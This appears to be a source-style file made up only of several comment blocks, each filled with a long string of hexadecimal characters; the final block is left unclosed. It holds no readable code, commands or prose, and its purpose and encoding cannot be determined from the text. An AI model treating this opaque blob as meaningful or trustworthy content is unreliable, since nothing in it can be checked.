/*68e8c11d1fc539ea30c5f739e3e8b9c62e3833e87c96a61ca3a99e289fddc0cfef3a9523894da102292d21016bb6d7c682002fb097b970840336af0c9ee77c66472e4c462113f3a6f98e1efabdb953d31c71f9d380e14587d9abba217bb5baa7705e323c72ba47cb4814d0254821fae8ea076c270347640ee08087d6e1c925c8712df258085650fc471afe2927a824e3ab5f9174e35c3052b6a770c4285ef51718446e03c389fdf32e2fb8cd6b5285d40a00f590746af4029ae4c8874c2fa66c3dc46aeceebfc9e07a79861ffaa998e0f4fb3170a4974559c865478437329b1d041991e2d4777227e3278a0a0670991017abf202f05d0748cfd398fb37865de008cfcd20dca5539994c6542d92ef1e897b2d4d4efd2cecaa14675cca004f96d4c27d703e743898f1c4941ec192b3f8e488421cba6e1b05673613a49eb0a3b66f41506a1366c43b2e648bb2a077546b9fee7755c981d712de3d29c2f44afd4edea682007c6e67abf9310de067f9783c20f541f255e58d77fe07cb25e5d5df2159d2d7fcfbec810f57812aaf65e12536444fddbc61cadc33a5c4e4ce90d792f9bfb104f9e5f8e8774c7e17b7c842c1222c4d88751e42a2591a7e994fd9669fe41a55066f7b4f86420b4b463f6f271b7054dc04f6253acdab09ac7345665f044e79995651e7be34f001add6174fdf593d0d8b0ad5eb74070fb4009b98b3d6d194d26e86191a11d927ae2d6f6d45ca198d8f95eb8e74f162121f79234eab85e2c6e346cf6045384d890084669415937693ca8bebc7740859248aed6e6c2d67d26a0003da1c5bd954c6b5915ca6e47a163b4dda941936f313ca58b97f7c471784fd4a6c55f0e62e5c60c1e449662b703cf0764c32c7d41059754422ea4e03511a32b5cb0516f2893100e0f092467b81d3b8a5524581c57d88035dc98e4bf7f6d55e93482747a636992bd1afcf1d415026a2e08be05a6fd86c777da882dcaf16cb125a0c421f3bf9595f6f0a0a28ffa0384540a9cb01705117907cc0b29a66b7a9b8b3f9bbc7e37c6ad97901f38dc41478f6be154303ae7d8ad7d09b42056a366283f88b2154f330845b6c8302694471b896a7e418e98adecd9b2b28664ab16921c14fb80c4fc6f3406503d1fc17d05aef94aa365240ff84b2b0264b1ebc7c8a31e94bf7bb5303bd05ddd670e85010e903da89ad90c7e219cebe137c0d0ba0af120a8fb036dbe1115cba63fc9b421d254263e45fac2a7daac3bdb0a2b80b38496cec9c8bb57dcf5e9146d2378fa40f3c791b17368c9e38668c632d4ab916c8c30cd74a90711afd00ea8bbeb026d6ca979cffa94d5f3c06deac83b0eaa14c4b426a1e5cdf4da5821bd3d9b895e38fe23356e83eaf8c4b98801746d129ba82ac404a2466d7182a4a0307b70e41538e60456733b71dfbad5465119c2eaa2e5b64ebd29e9122d0d1e1f4e8c2066baf15a5f2e2b20db80aa429b06be697ada8807f5691251d0d15045035f5111fa5bb85c9fe27333c154fc51c54b8678d3d12dd793229e88f5d87939bb7c8cfd63c070d6142351187501e8a585c4af28c5fec43582a168d916976c34b1542bb42dc55aafa1a93eff47960e96a9abe2b5719378f1d8de343cc839535cca5736d9b13b074d5a949b115f39ac956c49e83f67ca90b8b712cda994f81e1a2fd775f3936dc98b2efa5cc51abced47ae1e0fde28d782a8c757368ee76e0d7dea6563b24d2eb51c97f2b68f9e4804cc7ab2e70d231060f2b4231baa13dc34df126380c7c8be362080632a779f88618a4ac2537347cd1cd7aeb701fc16ea4a83b569bc677b749683b22bec9a81fc809d50a696de3974d9d1eea5381a8cc5e13ca0c429a341d43d5581379a5f01480787d4c8e7540e627f53ba78501d3cf1c593dfbda8140284a30a419a8973aa927dc313da58288808872e9960c235019476a1ae51f3756e28b026e878c7f3d7d14692ab6cf802a36d70f7fb3b50b5af39a5a9e0d1d789be5fc4062bd71c0c361f4065113df09e941d7bd7e8cd58467204770cdcbf78960008bd544c384cc79c07d877f09cf3342b8cc937456289b7f5eda7f596fbc2e5d61f0931b668a9a09a09f36c924bf57263c5be255d0a68db2e87068f6f99d691c5be6d206113616b1c0a2e71eca8dd2afb17fc605cebf1d953a6ddc720e4076847883e4ff3ec8208ad5bc0c048d7723cee9aeb17afd384d13dec0ce09ce664f31a7855375f4ba5e199004c0f18859c272f3e961f14582e6dc10a38d708d5fd8ab5c85af57a998613f8d152cab044e814f22bc82f3a8cbca6212014765c5ddfd341a270350d411f7c79dca4f692e480074da4b8877a6c729918c09e065e47f3ba63530fa418d41c298d16de1db1a4e59fddc7ecce699efbbd8fdca7c2c1ed03b8bf026e0d4f51a9539ec2f7ad5ae25dc364eca0ba901b2145b1a184de6ddae6b70f669f42d0fe0d6efed7c4ea19a92f7aba2f0b6df3f978e66dcfde872b634a1709b4522322490eb0954055ac0cd5965cc0f69dab3fca0a56422d9468935aae1f317bf6101f51c4357b24b8767332889b4280945bf9ef5a7522fd71132a100d1a2c853c882441a24f5ee41417e283c5aee752cf392cd6f05ac9b2945d3094b1ff0f1ca073dd9b8e64e9ea89278f4eb2a3cb33c35482893abdc81d36db5be71c42f58e52a2e650b7c1a891eeeb019a1c76228176ed8a27bb3017983c16fa40e91db00412cd91aec5333eec9976853232cbcda8e5299af7c89bc5b02662677d0c18e24872cf6a3958b953ead9a235cf24baeaa1cc65d8c6444f37feba896ae641366d08f433a4dd5f23f*/
/*1176e54b73bf60722fff41d4488e70b85677edb7841e2a4684380830d46516f714852c247603df6737de184cf5d630d16d04dd2aea755c02dabb8024336ec2ac0a2c92b11a11df46b0160a34285e08802daa0278c080d4f2b5a8f81bb303b6fce03755c039d7145e116dbbc57c6da5a3c6afa3189075ed41d6af761876f80c32f57b782821e433acfcc286231c0f5b823393598eeead0dd40539179bf46ccbf7ee07979d7a109dc0660722d3c0ea1d2fb22b06b04d0d0fe23e2ae0a22a15601d5c9da7d4bba7f8871a08921376c6fc84ed862465154f650ae73f5d4f9736cc7636dc7a6a4af4da65e70166e04e0ce4f983bfea69c535886b5652f4aa771e62780d11e411c65f3b3e731e94f60ffe3d167ad0814a04350f8310c57c57bf5b4db6ab9d540d5f918efe84c3b4e366e652913e3fdac09eb0339a64d5f1212162e1286db0f3480ae9784fad68da79d3e5a6b73154b308089e2fcd9ebf1dd4cd41b758708cb0ad13957f7be52afcb3387b337c2174079dd09420abd82969471d6c14edb409d0f928992feaa89989de4ccee1b422c88e73baf28a40ce2c69319a2450994c78eb04ea97fa014cd49737b5c7552babfd1724782cbbf3ce4af954f8f7914561ad2178fb09a3bc3814317e82988b028de78b63fd1a70f75d027469cb5fe2468cbcd5b07a8705b3c4428e0c841a28ff2f974c0beb43e087c9c8a4106628fc924aa7a72fc067d1bcf81e8d1a5f9518febadfa776a788e72d3a9d1637afb8af579275ff5df3830f05832e5432b2daf83704ba363a45ea823fbfc30919f69842982aec0fb0dc111432b871d025cb2dc448beebede50067ba6c333f2186e36f1920f833f81c869e008ac5e1c9963dc62d1f79cf230dda02689eef83cbf76bec93e324af0ca44fd63cb90b7feb3d263e1a2668f5ac9773bdf2aff0d084ab919fa60bc3cdc513ceffe3f1375411b4885478f87c9f8f5e5ba353a77e5398e54ec03b7da75c9e0d2ce05b2eae86ed44a22340c3325ef19f8183d116aa4a8717d693c0e7ed69b1676aa28dd45e5b4623741f084cc8e8b065117239268144f607fcfb51d4ae543f4c039f32f24da5a256595509c7a959d2d54097db3e0ba5d79ceea71ce80774ca1123e0bfda4719041adc5015028c9061888e0c7ebb85059a9ab76235d08b12950985cec45b35ff0acbade3b1efa5fa753f66b8c2554acd149b809cd85b5bff96df1cc689e55cef58e9fdd528beb91caf8fff1e388032112c81c9e353abb3d749eb78eb803d0f939aafe068baaeee7888859649787eab060447ee2e6694bbd40be30e09993bb6eb74de83e9bfdc2ac2d911b61ce01720bbb9c0ea89ff8e641b105d2b461073c64a8e108290c0d02526c992c97f10160d0d4e74b7a69a847eaab0fdef34d897c829ee85042f24ac3d9ffc0bf695098693d20cb2d42ac9e81af0cabe541b562011209582cfdd9233d83e281861ab3a07999f300a37fd3800bc0e0e610089634cd2150feb9906cb2a4ccd5f6e7b9624558a55948ae4557e5c2475691a8787dfc5d703a4982905ff5950cc9994a18bd91f3af37f6d933b82a18331a28fbbf7bd6cbb9b36865ae4a230c298f4adada6a9f8fcb21543fdb58d6be657ca3d30a6a3d52ec8f81094f2a5d1f8a0f6f776c800d34ceeb3b1fb10ea201a68ccc33490a30a9df2afe9a442e98f636dda87bf336fc9def7eb3a4bea803a93f3b3763eece2e937a7201c63be9165e0861b8a562ab4bceffd2a8e906274f670444f2db3162c9334bbe9e927e5f6d16625686231b5d51122a9435094348bd258b1e5931dfb415999a1d25e329ef93518097c54006ab66680c5f94fcd33198be8b5d9fe06069852d6bb16041784796aa3d8a83cb1b099dca4211973c66e06994e4504b2db9724d657a73a4e4de5beae8d77f4a28a3776a6090e232e7cb730b923b2cd6b4a3d42206cb7098d7f0c861f03678753e43b454125635173ee530f613398163b4f6a617b586875f2296b994a4c5d83666e08e8c6b95616f42c74f1660eac61a993ecc6efd6c47231764c8a68ba8d61f0de5c8dba9ed5961fd7107cb0ade1156c14399ae583be264f1f365a3e1694bc646988eea24c55e22af235d1eb4b3d54e8c82d26c56ec5af5274165195cc8c9d966d9addf104ba9edd59eb21fd7928c7a0ffad733277c4154291879a64c8dd4f55b468f659f9d37b4b9e81ab2b4525d956fc41b1fdf2514d0a31fef22f579579e60904557a512754d116a7fbe1e976d2ca094349a0b924113bd91a6ee01f2cd35be26ea38029bee58d6daaa2e20d01a737b983dd40d22e3782eeb07785fff24e78ba617ef799e6cf69cc811cb523df869f1536aa7f30d2f1ec6823f9ec4020390a4dfdf5cf9f7f16ac7c3c7a5e84de550551685ff7357008e3ef3e968aedbec2af1cdead2588e682c800a00f4e6e32267ede5287d2995c6231e145455ad3291ec76545cd036374f92192514f240c757df85b6d5a0807fa2f9c79e1cfc4610ed337ae4ac22265d52eca8e807b1bf67da36a59c1d1fce6f375ef86be90e14ff50a438d76c4ffd2ba755ab54cba7bd4f0ec74827d00f46501fa10f8f92d33785ef6fd2fd63bbbecf89066cb7d6e47214d6fd985c200336f31182bf1bb54679c8d23dd7295515513ac3a495bde3badb12e7e54118ec6569af7e9d1d247e6b9b3b339203aaa75c19d639071e7f91d7efcbe2ee0d1a717b577d22b1c039242dabc72601adb20c993a901f8c24aa732a6514f65562674208d1d921490f5ee063cef79dfb5dbd907abcdec5fb7cefe30c469e1cf93181805c99a85e3b19a7b00f2*/
/*19a9691e166dfe5286d56b2510b8d8a4dc59c294bea32ba020bfb854b1df135b5b51108e85076387cad08bed79b8c5b4fc0c05f29385151be20d3ad06bc1ae67f5e83c481ba7c74108d80a3e0841c5db81131ce3ed25090d93bf8433b0185259c21a0b665e8f4d75bd261de7e2f83bc49cf0fbfd45949b653d8c7444bb6276230bf71cc26f03c9e541339115574d010eb93730a86933a1f9e138de8d7132cfcd9e6724394827e67bd7f9de738203567c680215d5b8fee21b1d33baecbb4cd2231e7b929fb6b84f03a44fbb308a1fd23ee40dddcdaa956c2ba8b912a03d569b708311e2571e3236daf22165047b0a93dbafd319866662e304aa210549ba8f99354cbe44bcb14871f339c7f81b59ef753bdc5d16d471b899f0d96b5bc29dbc23df56abf0cb504bd4b56b26b043f811cc1f491074f87b8a6089eabd2377c892eb915d781e22c5b8307db566f2d4408368c8b37dcf021ff74a6cdd168fec7f2727eee0275c2cbd9dee6487f66cb218ccba2e7dbe4f7b1c8a8d248e2628f837a263597aa8be03f61bc01978bdd71ce2c9d09f7470ff9a9170194263a8ed2cda8461aacd06d53b7d902a09a4a6ab2787deca58e2c04a9b2aba19c04fadc14b8db485774805e9c198612c62260ad7d4472f850f682c2d8437ef6b8983d7b5448984ff75ad44099dc8ea9839543dcd1fcd7579c70c3218a7f59cdf69032707c9d678defbd4eb176a14fa02994c2af539fae70604732c6e53b629aaccd91eb21ec9a0095e71cb5b1f3d178b04c0b9f74e891f8b0e1206783fd56b7b84516c10e89c28470281890aa5fc6c7df9fe48f093d9d0f6f2293718c0edddb735ba7a7df1d1fcbf3f4f6cc4d6f9b0dd5cf40b9ee7c357ccebad6c2198274b78388b36cf2eb71241bb868c15f08350d257649df1a42377ad6db4010491c26b5ca4d901e31434b411166c9b85f512ac9f58246ed0062cd5a84d0f4f76cc4b1e5b7661d73086e61f056e6cf155a76d6992ac23cffdd4ddc11cb5bc1aab9622952d948b0c2437a87c90fa91d16c606abbd81a8edf38106e8a0b88cbff51482781d0f7065649f9a9118c93dd784a256791dde89d8281006ee28ee684ebee16497ef80a4ff7923a00f0064a3bce2f8dc74d0175209bfc077696315399367098b6ad85df7721b26b67deb478ffd0b8f7a9392d6408396ebe4fc07f82f29a8d203fa357b30dcca71bed0a549658eaa3b925ba2b6c8a55e978e694ebe3ca1d3277e4ce4d7ddecead22ce52e432844577eaed55e3e9a1e510844c804ff3220622dcb19a96559bc2432c4071e1acb0a76baaa79ee65def49c128945385156db03f292f25d0e8717a3b666a1a2b3aa0f571918ea33ab981d16fe61db34b4a656274dae670bc5a44322c1d38480fb3e60b259504ca443fabbef476860704245b5ed0d5ce3f87d3414bedec709c69202e04ec7e042de933c820ddb43d407a5c457f8540d10fbdddb55ebea3b0a95eaadfa69d36e7916c92aebce139978c6905e177623d9967352a92d28398d36006643d4d5407640101e768285258a521a32724f14bc3b760f56c0d7aacd720dcbc67996f919250c88145ec0c6fb06416fae7fb65886a6c4df9a89760a87278e62a3ff12cf1656a6d2a419d81e8596c86fe9f82c4a59de1f6858f6f921f9b4f806368cf2dd0059ee793e0c31bbaba9425e2f90a97d9c2c7b36f778903ce77f954d332ff79ce4df31fb135bd0f6bc657c92831a6c966ddeb1dc583108e5cddf26bf71aedfd92dacda15f81f03a7e4801063486abd64ae8e7cf628a7bd65b5c6f212979d5b9c0243e24f1f9ad00ecb5801451008b18de689ca9e869871f7f7b4dcf6f1017ae9d209e0f128d5c377aedb16a6a421b8e5765e826263fe99eb2a7dcf369f744669a1fe0310dffd8d0a06c68707ba1a698af45cc1ff1133e9cf1a91c3f2153a76f2713ddfda131dbff2dfff3674306de0a022c516c2f3c3d601d81409b1714ec08770abeffc2fdaf0bb1db6a58fb1512ce4a94477ae1e9c6edb4812df1b4364eacf126d19de8fa3cac8d58c84ceb1ab088ca483edc88b907202a8a114f3fa44a04b558bc4611e32da7bfbb996e6abeb923763a1e8b3fba819cf91b5fbce806a9dffab3868d601abb6f7408f3a76a98c53f66cc70939da900fbebba3d4fbeeaa33474d28802ea6f94c7d86ff5cf9ffc309a4fb7a6f54cb5b7396b5a42c6f3eb1bd7d6632a2c6f414f634d154bbe4c9847e37f58e799ae5d0a41ef777e40f881966331e7eb8d5f7341d6f60ca78e6c65874ba5b28b1d3d70090cf1546085bcc3447abae516ff9b93f4f1b9b880ad2658f154b060950975e540163420c25f65b45ad2715e72cda97e61f93a93df3cebb5a926bd3cb72fcbe7ac56df9f58218430a8ecdc2f2029254d7e4ee874105882df8fd5b16dc0372fc77f621766859a99cbf7daa3bf2536a9cfb8d485887763a7b5b7ba2a295182d665e304d6532521ff062ea821d2a3f994f0748df1ddeb02454c3ea2442b572a223c6437ff48d022449894b5bdb986d3e76d0f16242057bd23f5aa7595bbe79b7b1eae03cc46dd7b20b16af6eeb4d7151b8824d4a645d349dd5aa9868df3ac3bf55c0c5b1c01f7c9b365453f0892bce44c8d186de765c849f27b970c3a9224d814a2c87238b2e071167e3e0d1ee7aa7614e6cf7d5695499a1bc8444f467812240a347581a4d12878082fab3f1cc2b3a49419bea41f62cb6741dba237cf1f8bc491ef1e31a60ddf162c2e48f0f2a5816131ab78f4a40579bff091d9f6c6785c950d03746ca731c31e6be720351ef508499ddb8b39f18f733073c1*/
/*0172851c14e7f7fbfaac08da8ed76c9ba3a2fbf8e79c4c9202dbc0fba5f7b7f08334b9dfb7935b9dbea3cd2b286f8c14eb72fcf600de887051b6185f1fe481c11fcabf9ffe2b617e521360c13a66e232d1a9e41ba7e13e6409d4c70ff5da54f5f0b2b879dbcb1dded98aafbca674e09441bbeea896bc37c7cce696cc809bb790fd821c6590e5bb555aedc3efccc3842d0bc067789d90f0db1575345cb48368864ca158c30d0109da3d680751107545ac25c85d629fb3459a5b5c9e3a6e07aa89efe2365078743557725ce4845fce25b5ce59e47715e439a0ca256bb95082063a1abf728789b3fd87da7b3efcbd83a0f3f9aa22c75ac722cf06874edb3a49b918eb6b6ab0a49904f971da6bb992cc7b3c2cabc8e3e5b992d8dcf6cf5e30e865e536a71da9b5aaebbd6e5ff8b08bc58195570c9ddc465a878d8c5e5e175bd1ea68347635ff15c9f93c3fd4037ddd66160a1538cd73174ce26462161fa12c381cdbb84761d722fb5691050c559ca3a9ba23caf5ef48c0f9e2cea6088785bfb66e1692f8630746ce51ce6bac1ea9c748a1088c87b8bb754e5baccf645bf9e1b93d7cda811b846736988b7ea9bebb35dbca0a97a17e76083a3beec91d391f1e2887eed85bc84a68f8eb7ccfafbd9107220fae1ed0ccedd8d8de2d8cfbb81485640c6722d79cd8e75e2faf62834de47ad1f85207841fc38eb776b67ed846de9a9b13b997f544521c1881fdec98f901256081708b6afe3aaa051d507925a665a033cf768fdc125a508f2b01e5f276c52ddef28f81c5a9ddcc3814307e9825a9b9f388af8e21a252b826fd03c8b0d14a5b4e48c76f26edbec0e2f8f5791ca1adfd8910e9c9f55551a4c83e9171a4557386f931645af86e45a04ebf404ff6f1f2c41506797ceeb36ef7e04889cfc29071c2d233a94d69bd7627db5bc222887c963b37350ad1dc60e451f1b7c03ce7bc64878759f7b6add862016429210e7ae6780afd8b9979a439c1624b392a7b9a2206144923efb92f8bd5cfe0e60651023aca336cfd96560bd00044640d7b9205099402dc6c5d1facca9f809b9ab6b1a0c260f809c3b448e769d4f816268f9a9db5494d7fc1abe0e15ac256cbea063f7ce05dab0414ab0493bbf851336e3512c6598a9287665582a25f49c18d0a769c78fc9b5d7d1211391416e7957cac012f66282c1bbc710f6a57dd539188f475adf9249de5ef61af086b667c57d6af9c30b3a397fa649881c1515a1b2a88341f7ff1227bbc179bec3e3bb8470c91917b81c8c098a40f9ba7e16123827dbe600faca3506131739a0c64233da9a9013e34124b57fbe3ef908efc96498a1f7b30e8e4804a9f409805d6e511a29a5c6896bf2922e9d8ac73b4dd022e1e589978dc2db92179df4dc26403c5751a8426a0a5081f7c12d9985ebdf62d0d87eb53bbecacf7b3ffddb82ec53221aaaa5acd4a02db869d794c7a22edabe4ebbf5821c0def2bf5a6cfae12033a54b3dc582d713ff0dc7516589661b78172e57d09c187d450c7dfea082966ed8e74d26d84701f1c6fd92a048be6c3ff097e080d10641299b72255b4ace1b533d5c5cd704ef55aeb8d672da79e19ee0c20fe2dad242ca3a687f31eaff6a79bed0a949621f18e841f2dc22f87c00cef8c02a854683558e27556748a19b5e0526b77ef9655c924a5abb622c90d0725a69fe06af625d3ba952cd88b4a42e4152dd10d95b912f65492884986bb0b218d76d0e6d538bf44084091eead5e1c6a5548eeb926a90366f7371b6943cb50dc8564df65e91364025591b27992bb5bd32e649ab464a5107d81a130458ee731bd145586d38a5c9c7e49cec0a532ae0f3454f46a81e10cd9795ba3daef80ff971a4a62d5162241559004e818cfb13b7c545372fa395b8b6f5d7bae2e9f2e7693d552e883e36065c5221acdefa69384b38a5dd06ef28795499580b1cf1bc7b7d0c9be3fbac8d5aecf822b0f777a9145d268b4d2499e38e0b5740b0c008c37711c1a382f27e272e17ee16f2f0705e19894a13cb8abf9bedee165430ec2916b932dcfb59cc8c00ac693e550a42434aa74d1e561fba7033b43965b6858b9e59b025322d11ef0525493a7be8579d039ab5541510680418705512804696e04a0e97997204b8c79e4d7a633459533eb4b076d9f3d758e645960de1c4ce4f91b5d937c7481ed5f7bde91d6e458662ea5c18b9a4bf95642c46c6a27c31c135f7a43615972f7d7b308492d351a1ecd4a647b08b1d36631d4fa53e1c19828e1176afbacc7c0b332ced15e5db90baf2b70d3c5506e4d03d97d5153f2f658950f362f479a7ca83515f85a16f6a38263dc4bf1d3f4c70c9a7d299188d8f9c28c35a5e0b73f419c0cb51fdc8074f6f663e882dbc317d46f005e693d1e3e83312e47fc2dafa0b58ea30390879190bd00c509d6370a136339d63d4bfcb1e7bb13244285367220942b8b4366bf12e3c451b95d6109117873645c508564ffe94b85fe1343f61bf396bbf62fd0aa33affba7a45496bcb8999d52f949c744d8300eeadc00411ef433c97fdbd02f678ac03f21bc27376a114dc63235bc44483209ca870902405163c599bd055c77b7e7d046c55a7478283bd10d66a8f8c0d9a77c1cae69ae9721b327fb9004c871037c0a4e04f94c8d6877d90f67f7f9ce282f4d94dd713df8ea56ec270a2d16c8557085b0a77ac9eefe02c7f5e073e482260f703a4673a2a7da7af681eaac4c7fc529aeef59a7c4d0fc805c210ab95b6791e59ae8af91e9b49a2208371c6edf76f573a9730f8efef8a0ca33c144fa95b0ed535f64882dfccd1edd8a19755b72364c017*/
/*744b5d1c3a1d5ae6cf3d285a43ef9577d9e9fdf82f153ff8980c3e6744cd9f3781189e036f0ac013fd35fbd7e9c3eeb2348af0f38f33d56568e8080e289111d304238d7788b55b29f8f3bc8761f26aad962ee776f7ebdacd78f9b46cbb87950ca330a6bc6081d306c7ceaa9483cca0f10a2a0417adab5ba23c50d18841dc30e3998517eeb8ada96dab7855453f3ee84fc31a96d1a933a3a48009833e311e868f02ea504524b7b846c728d964de69787026fbd1945f6bef1c791f6df6419c32329656c6e0d37d19ff669f458add24329fe7be7691c68b44ab5c6957e443cee5389c283ff3d5105af01d681f72f0fb002831be042ddea310176b850ad4f5a2dfff203acaf6e842070d8cff002209fa440aa447a9a70a84f4c9a442a4d3f25ab50ea4cb531e2f0d4052960da30562f57afed417a6b91eb8175269fd5d0cf9a762b89a44f37560b8a6503dfff2d433d7411c99d100dd41c1d59cad0fc38957a0c78322c79aa0f2385ca273e521231f8a3989c7a62b0c41d526cba3af1812b175522720245531f8e8d89c16f8ea301cf9fd4e3f11951f293a83d7a0621aeebd19d1c5215cc11c75bef678919aab243827cbcde7626f9dd36aeb7d932170dc94b4dfaf04bcccff7fc9f255743d3f6bae77900efd597069a485100d8bcc46a941913e91a334e9315923c5b9dc02baf931696edaf13a42c6bb913bb1b2c10774efacebf5980a8f5565b75623b02b94072d0c90bcbe9b5a16b70a9ab7430fdd4959c1b0912a3647649c5d4f82c6ceb833c0c3a19c5504da114aadc690fc3770e0e15feee401e8b54f7f44dc1a3f112dc5856c209250ac6fdf84cff6361dc6ef80dd929c6fb73dfa507b9ed8f3aee089d5daae1200d9ccc777396739ade9ae6a9b5b2db44d94ab5439790d3028a0ab59e70a1809216b6d306b891e21e1c443d5250dd7b25585f1c5b665033f6ebe19c510257b7b153c819457e623a8ce659b9dd45d44972edd101a68c77651975df4b1a1f0378148fd0fb7fb87e377680ceaec8028925532767f5dc450d74993410c9568d4a4e98d8c2665856a8c1a778aa6de8dc8be28327e0176443add0c165d187fa0a704cbdd602e7cd527e8cc88a32bffd151e92978b4537fb6f7556a05fc3e2ca41c69b6c12f96aca1db0d73106eb7ce8fd4f82ba839de475909f831c8b818b302243e26974eec61f8b6f826bef09f19fbb31482d30aab87c1dfd55fdab2b3167f3fb5f49303db9963753093a11e5b8cea900c06a897637600520a93ba16df6074f9315b6cd30c4536d732754d670f865a544e09383dbc0c05beb39abd72609b9860fc99698de095ab599b6ff115bdb9e6e28009f821dca116f4a8e6da3bf71f4142f21196a89baaed5ce9399b7c78be43f8aeaa5ac90354fd1c0492219dbc983251d520104d890a7028fa3380879ee21a036d6746a497b0241f24ba258eb6b8c48a9734251d694380f2b1836a11aacfc3f0c8db82ce36baaa88954f2a9f6468a8e455e55ab49f762fab4718857d1f89dee4752b1b9f60d25e3fae08771916e7939faeed86a96ff7773b42b7aa057209043f68908468e7d8da8e9f22a0aae01b4e8a411b87f9d1d3f0749cbd56589e1dcacbc1aa88c9e4a83acf04b3ea61d4b1ca310f0fad673dcb3e07755b19fd0a5f63266399b71f3a71c877d4fedb22b8132e60677e98c5ddc6a2677c7cf0a1d2d3b73d743e8715f0a8d1331164a36418e30c182d61b13b4f90700a2fe914dd2318253690c009deec500ce01349198840d84d40b7545d44c378148b49b4b34861917bf9f2f9dda47e1326a8bf2da4e6cc2a4f7e712f69bdda20304d43c353e1107e0db2e494ea76d863f0b0de3544db39c38b1dbb7ac46333282d4caf9f4353acd21387c5d3701d16644dd07cd8274d9e49d08f900a5d4b88303c3e15463da239b79b6dc075da7587c46eb3c2c2cd5751cb28d6c6c627241265ddf0d6ee561da013714c5d9c3c08199b81431ee6767cf9958c65fe635a6c8284d971d1d9bad140681a3069cfd1c089d6b81885c81e72384fe7ad08a8a090a891e5f88b75446355100c02a5fbf5f138083d5aedab314f27702d52d4a21504abc63515b1fed37ef9597f0c96b52e5faf1e66e2a2f0ab155d4ba790a4b149e6cb16b08e7ab62957d6d51a27f4f0200b2ae41df6d9f4199e05304d3d4cc4ef0a0a505a333eb96aebc57dac2377c57df4fa9479381e8847ef834c0936e0ef0be62643953d0180170a6b10e142353a85d6cee45807200728d82ddc3a973381cd6aaa5cdeb69c289fdb73d85967da068baf342e0f4e378f6a9b9847bbde547bc77151ba875d2a8da3df05707e68f840f77403a3cb9b3f6fbead7968a4912d4412972b4a069c671d5d68a5b5245b11ff95d397f8138c82114ea4bd3ce39fc3acf945f203a74c969883e942b7e4041953e57e80371b1a3febaa46bdb52459d6e74ee983e8f25dadb186c63469502a73405fbb359ef8dcc8ab57a86f4b2af74ee65e108aeb1e30a0af79e0637bf05287e0bedd69f0dc72aca7141e8b6f42e69ff6ccdaaed363170a161a0aa1e7fee31f69a1e74995bfeaf584024008a31554040337f2965c32e123c284f93ebc87392e862040ea0ff990cf30ce20cec00f2033185445a3312cd4960a45491482754fe291c751099eb3679711bddf0f1d6385654ac9b97f4aa69a9eba63e0b2cabd887935d8f3bd1f99ed9cb918bad56f11875e21e04e29e3d7c3e01adb84fda9a6bfdf310b6f57571d335590cd160bf34f2ab925dde361f9d01be8448526e768f404e0fddf77a4143bf959f87a0675dac3b6923746*/
/*a8f6412f73557226ae4c422355b2dc8293b6157e565535e1da51ee3d28596dbe17653d06f9398aac3867bdcd45063de0db0443169cc6eac6e0af11901497715cce899ef934e002c6a91aafeff818be0547de2cc5ce4c7e597e74e76f0bd4693567beb879debb5da604fd21c13d68d1bfab4913f68a9d83858ad674061d72d603491f1b177f46378677fd49f0ca6a89d73d851075beb5d49066327f05a3c8e31542ad53e059e40529bf6b2ca33d3a82f7ff32e41cbcba2890cfc4c3ea2e270b2b9e6ad7cfb94f27b1cc029f4aaead20b39efcc08ec354517f894ecee2444df65c96fc3ae0520a086197f5bba0c86bd245521f6d6339953fc08e44f36046a17c174aa5c836865eb4877ce8aaa0d4e9e686fbbe27ef68f8cfb3bea4ecb50c10a5e0e121f6cfbab4c8f843b0b4f4508ebedc51255ade68b96746ec07ca1652defb8c71d91da5832f77eb6c21ff3b63461e6ce58064d6a6ab9e889bfa6215cae65d38975cb9a615dbdc149d983c7d3a3f8b9b63c08cdb67b1c7f86f54d76b2f955b52c0e75b25abdb803ac0e9270d34c79055b8ceff069828d0c71ee2d43af6f886af639006f3df41d2e36f88c63e8d453d1facd2a1e17b2f79dc175621fd84bdf078a415117850db3aee1b52eb64b8acfb67492a2de808263b5e950b80e7bb5bf2af9b45f42ec03f9bd84e67f2c430c747803234a6abd13845ebc892cd466424b62a518ef976150831890e4e3b5fec2d523cc3ac9eefc4b968a5511b362e399068fefcfd77066a9411b9f0438a07d571e02ce5945d38f1aae36156f1737a254390abed5b32661c1b3c48e38c8e8898b2944d1d24a8787f052e9cad0ddb3f6ab8a230389cf4e5ca35f437fe739d70c42bf15034416eb8230d7a2b9335efba121498482d883edc86b6725dcf7721022a08a15b6c78d01d4eaed9986b8c2c7f5cef6b8528417a1402800b8f855b876d137eaada881b91a1955a8356e530299f147c2842d5429f98283977b88cb9b4334e684ddd6c1dff219fee7d04e1899afabc521fbc8843cd34269353c1bc2f7f38d979c3cfba491d16dcf9e3bae7b2d9a78f8b1e9bdbd563ce958cbda0fc5678479db3378c6a35b9fba59ad0dc56ca6e2e0f0389ce1a591a77f45572ff02878b920d1f2e232a8cb10cf1667cdf7ea1c12ad7873e41c170785aec5dcbb8dd900245c2483251ceec0185235729134d8eb9525a74634fdbee4f2f2604777ebc2f9e5e90547567eaed22ce02c77bfb5b5787a8314742357cbbfae090dc3dfbef67fbcabc8305c70d648de15ce8f81483c30cd9275698c699e1be83ee98318c962feb9d6d4174090e72bdfb4e31ad85028b8a4b04cfb4e1c498d91877fa98fabd88022090e7d13e8f2e0ad92029725488d04165a7eec67123be0f0c10eb444b2dd38586f043df0dcd7e63516361f13d594b28978a0986c5e6c8e5032955839ced17c9c07085a3acad2c010ff34c95da190bc1fc0cb777f4e9fe7d106925848e15e8cfda8f6d6db2bef7eef08b5211dee68257c5799e1f30992eb76f6bd28cb5343a9c741db765da83856be3698e32a3f117724fbbdae3d89e09d24ad259b50eae7ee8dcc05efb93f36fba0f98a98173ac0faa32f72b8a0ce0eae68109fd93ede058e13dd421f3f7214d46242b7dc6f8c01549b1aeb41fccd9d32ce86500be14bbbefa0a425a20c50c486715669b44d1fcc24f44ca9fa3ee50d68c520a367be82ce5229825610dc4e412832e24de7f1a609562c49003a44d6fb7cd6a14ed4994d391164b01346526b7fe8d8d460e8a7ae328c4fa1892d89ef98413f1da03d94a06a5d2229e7857d9a346e710922bd67bc2c52403415b691034ef4c1a4202493e2b40dc2e44e9e7b0f43e53771aae3abae534e76558bf871f3e61e2479329f16ee88fdc57ff801430a2716945840ea44cdb1d290ff83ae747bb2ff8d193f3bc7e6e7a45901525a384b1c9cde6f7838d7f3406d095c20c1258d1fb8f5ea9c8c2d91266e8f1e28d379584d957338cb2c61cab44a833c349355e1e981a7119e0e2178a1547b1eef162094ea2c76be40a8c30ff5356002cfa6dfde44baa575a33bf0e68cf6d3fedb227a2b60a064374e119207eb9347